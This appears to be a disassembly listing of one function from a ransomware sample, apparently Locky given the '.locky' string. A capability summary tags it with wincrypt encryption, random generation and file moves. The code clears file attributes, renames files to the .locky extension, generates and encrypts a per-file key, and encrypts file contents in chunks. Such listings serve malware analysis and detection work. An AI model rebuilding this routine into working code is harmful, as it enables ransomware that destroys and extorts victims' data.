Function at 0x401c7a
Capabilities:
Encrypt or decrypt via wincrypt
Generate random numbers via winapi
Move file

Disassembly:
mov eax, 0x410777
call fcn.0040f350
sub esp, 0x49c
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x10], esp
push 0x344
lea eax, [ebp - 0x4a8]
push 0
push eax
call fcn.0040b160
mov esi, dword [ebp + 8]
mov dword [ebp - 0x4a8], 0x8956fe93
mov dword [ebp - 0x394], 0xd41ba12a
add esi, 8
lea edi, [ebp - 0x4a4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xbc]
push eax
mov eax, ebx
movsd dword es:[edi], dword [esi]
call fcn.00405a53
add esp, 0x10
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0xac]
mov eax, 0x103
mov dword [ebp - 0x24], eax
cmp ecx, eax
mov dword [ebp - 0x1c], ecx
lea eax, [ebp - 0x24]
ja 0x401cfa
lea eax, [ebp - 0x1c]
cmp dword [ebp - 0xa8], 8
mov ecx, dword [ebp - 0xbc]
jae 0x401d0f
lea ecx, [ebp - 0xbc]
mov eax, dword [eax]
add eax, eax
push eax
push ecx
lea eax, [ebp - 0x390]
push eax
call fcn.0040e7d0
add esp, 0xc
cmp dword [ebx + 0x14], 8
jb 0x401d2c
mov ebx, dword [ebx]
lea eax, [ebp - 0x188]
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
test eax, eax
jne 0x401d5e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], vtable.livsx.0
push 0x414fbc
lea eax, [ebp - 0x78]
push eax
call fcn.0040ab7e
mov eax, dword [ebp - 0x16c]
mov ebx, dword [ebp - 0x188]
xor ecx, ecx
or ecx, dword [ebp - 0x168]
xor esi, esi
or eax, esi
xor edi, edi
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 2
xor eax, eax
push 0x4138d0
lea esi, [ebp - 0x48]
mov dword [ebp - 0x34], 7
mov dword [ebp - 0x38], edi
mov word [ebp - 0x48], ax
call fcn.00402de4
push 0x10
mov eax, esi
mov esi, dword [ebp + 8]
push eax
lea eax, [ebp - 0xf4]
push eax
push esi
mov byte [ebp - 4], 3
call fcn.004023c6
mov dword [ebp - 0x24], eax
push edi
lea eax, [esi + 8]
push eax
lea eax, [ebp - 0x12c]
push eax
push 0x10
pop ecx
mov byte [ebp - 4], 4
call fcn.00405bdb
mov ecx, eax
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x24]
lea edi, [ebp - 0x164]
call fcn.00402486
push str..locky
push eax
lea eax, [ebp - 0xd8]
mov byte [ebp - 4], 6
call fcn.004024cd
add esp, 0x14
push 1
xor edi, edi
lea esi, [ebp - 0x164]
call fcn.00402d33
push 1
lea esi, [ebp - 0x12c]
call fcn.00402d33
push 1
lea esi, [ebp - 0xf4]
call fcn.00402d33
push 1
lea esi, [ebp - 0x48]
mov byte [ebp - 4], 0xb
call fcn.00402d33
lea eax, [ebp - 0x148]
push eax
mov eax, dword [ebp + 0xc]
call fcn.00405a77
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x110]
push 0x5c
push ecx
call fcn.004023a5
lea ecx, [ebp - 0xd8]
push ecx
lea ecx, [ebp - 0x64]
push ecx
mov ecx, eax
mov byte [ebp - 4], 0xd
call fcn.00402504
add esp, 0x14
push 1
lea esi, [ebp - 0x110]
call fcn.00402d33
push 1
lea esi, [ebp - 0x148]
mov byte [ebp - 4], 0x10
call fcn.00402d33
test ebx, 0x800
jne 0x401f64
mov esi, dword [ebp + 0xc]
test bl, 1
je 0x401eca
cmp dword [esi + 0x14], 8
jb 0x401eb5
mov eax, dword [esi]
jmp 0x401eb7
mov eax, esi
and ebx, 0xfffffffe
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x401f64
push 0
push 3
push 4
mov eax, esi
push 0xc0000000
lea esi, [ebp - 0x1c]
mov byte [ebp - 4], 0x11
call fcn.00402f1a
mov edi, eax
lea esi, [ebp - 0x18]
call fcn.00402a82
cmp dword [ebp - 0x1c], 0
je 0x401f02
cmp dword [ebp - 0x1c], 0xffffffff
je 0x401f02
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x50], 8
mov ecx, dword [ebp - 0x64]
jae 0x401f0e
lea ecx, [ebp - 0x64]
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x14], 8
jb 0x401f19
mov eax, dword [eax]
push 9
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x401f4d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x90], vtable.livsx.0
push 0x414fbc
lea eax, [ebp - 0x90]
jmp 0x401d58
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x18], 0
je 0x401f64
cmp dword [ebp - 0x18], 0xffffffff
jne 0x401ff2
mov eax, dword [ebp + 0xc]
push 0x8000000
push 3
push 7
push 0x80000000
lea esi, [ebp - 0x1c]
call fcn.00402f1a
mov edi, eax
lea esi, [ebp - 0x18]
call fcn.00402a82
xor ebx, ebx
cmp dword [ebp - 0x1c], ebx
je 0x401f9d
cmp dword [ebp - 0x1c], 0xffffffff
je 0x401f9d
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x50], 8
mov eax, dword [ebp - 0x64]
jae 0x401fa9
lea eax, [ebp - 0x64]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, ebx
je 0x402339
cmp eax, 0xffffffff
je 0x402339
lea edi, [ebp - 0x1c]
lea esi, [ebp - 0x14]
mov dword [ebp - 0x1c], eax
call fcn.00402a82
cmp dword [ebp - 0x1c], ebx
je 0x401ff2
cmp dword [ebp - 0x1c], 0xffffffff
je 0x401ff2
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x494]
push eax
mov eax, dword [ebp + 8]
push 0x10
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x40203d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0xa0], vtable.xwnmqigmmwptq.0
push 0x414f50
lea eax, [ebp - 0xa0]
jmp 0x401d58
xor eax, eax
inc eax
xor ecx, ecx
cpuid
lea esi, [ebp - 0x3c]
mov dword [esi], eax
mov dword [esi + 4], ebx
mov dword [esi + 8], ecx
mov dword [esi + 0xc], edx
mov eax, dword [ebp - 0x34]
shr eax, 0x19
test al, 1
je 0x402087
push 0x10
push 0x130
call fcn.00409cbc
pop ecx
pop ecx
test eax, eax
jne 0x402077
call fcn.004019bb
test eax, eax
je 0x4020af
lea ecx, [ebp - 0x494]
push ecx
mov esi, eax
call fcn.0040146c
jmp 0x4020b1
push 0x828
call fcn.00409e0e
pop ecx
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x13
test eax, eax
je 0x4020af
lea ecx, [ebp - 0x494]
push ecx
mov ecx, dword [ebp + 8]
push eax
call fcn.00401027
jmp 0x4020b1
xor eax, eax
mov edi, eax
mov dword [ebp - 0x24], edi
mov esi, 0x100
push esi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x494]
push eax
mov eax, dword [ebp + 8]
xor ebx, ebx
push ebx
push ebx
mov byte [ebp - 4], 0x14
push ebx
push dword [eax + 4]
mov dword [ebp - 0x1c], 0x10
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x40210d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x98], vtable.xwnmqigmmwptq.0
push 0x414f50
lea eax, [ebp - 0x98]
jmp 0x401d58
cmp dword [ebp - 0x1c], esi
je 0x402136
mov dword [ebp - 0x88], vtable.livsx.0
mov dword [ebp - 0x84], 0x80092001
push 0x414fbc
lea eax, [ebp - 0x88]
jmp 0x401d58
mov eax, dword [edi]
push 0x230
lea ecx, [ebp - 0x394]
push ecx
mov ecx, edi
call dword [eax + 0xc]
push ebx
lea esi, [ebp - 0x3c]
mov byte [ebp - 4], 0x15
call fcn.0040237c
xor edi, edi
mov byte [ebp - 4], 0x16
xor ebx, ebx
mov ecx, dword [ebp - 0x28]
cmp ebx, ecx
ja 0x4021e9
jb 0x402170
cmp edi, dword [ebp - 0x2c]
jae 0x4021e9
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x3c]
and dword [ebp - 0x1c], 0
mov edx, dword [ebp - 0x2c]
sub edx, edi
sbb ecx, ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x6c], ecx
cmp dword [ebp - 0x1c], ecx
ja 0x40219a
jb 0x402195
cmp eax, edx
jae 0x40219a
lea eax, [ebp - 0x20]
jmp 0x40219d
lea eax, [ebp - 0x70]
mov esi, dword [eax]
push esi
push dword [ebp - 0x3c]
lea eax, [ebp - 0x18]
call fcn.00402a3f
mov ecx, dword [ebp - 0x24]
mov eax, dword [ecx]
push esi
push dword [ebp - 0x3c]
call dword [eax + 0xc]
cmp dword [ebp - 0x14], 0
je 0x4021c3
cmp dword [ebp - 0x14], 0xffffffff
jne 0x4021d3
push ebx
push edi
lea eax, [ebp - 0x18]
push eax
call fcn.004029f9
lea eax, [ebp - 0x18]
jmp 0x4021d6
lea eax, [ebp - 0x14]
push esi
push dword [ebp - 0x3c]
call fcn.00402e9a
add edi, esi
adc ebx, 0
jmp 0x40215e
mov esi, dword [ebp - 0x14]
test esi, esi
je 0x4021f5
cmp esi, 0xffffffff
jne 0x402226
push 0x344
lea eax, [ebp - 0x4a8]
push eax
lea eax, [ebp - 0x18]
call fcn.00402e9a
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
lea eax, [ebp - 0x20]
push eax
push eax
push eax
lea eax, [ebp - 0x18]
call fcn.004029bc
lea eax, [ebp - 0x18]
jmp 0x40223d
push 0x344
lea eax, [ebp - 0x4a8]
push eax
lea eax, [ebp - 0x14]
call fcn.00402e9a
lea eax, [ebp - 0x14]
call fcn.0040298b
xor edi, edi
cmp dword [ebp - 0x3c], edi
je 0x402252
push dword [ebp - 0x3c]
call fcn.00409b84
pop ecx
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x18], edi
je 0x40226d
cmp dword [ebp - 0x18], 0xffffffff
je 0x40226d
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x18], edi
cmp esi, edi
je 0x402279
cmp esi, 0xffffffff
jne 0x40229c
test dword [ebp - 0x68], 0x2006
je 0x4022a7
cmp dword [ebp - 0x50], 8
mov eax, dword [ebp - 0x64]
jae 0x40228e
lea eax, [ebp - 0x64]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp 0x4022a7
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401a37
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x24]
mov eax, dword [ecx]
xor ebx, ebx
inc ebx
push ebx
call dword [eax]
push ebx
xor edi, edi
lea esi, [ebp - 0x64]
call fcn.00402d33
push ebx
lea esi, [ebp - 0xd8]
call fcn.00402d33
cmp dword [ebp - 0x14], edi
je 0x4022e1
cmp dword [ebp - 0x14], 0xffffffff
je 0x4022e1
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
xor edi, edi
lea esi, [ebp - 0xbc]
call fcn.00402d33
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x80], vtable.livsx.0
push 0x414fbc
lea eax, [ebp - 0x80]
jmp 0x401d58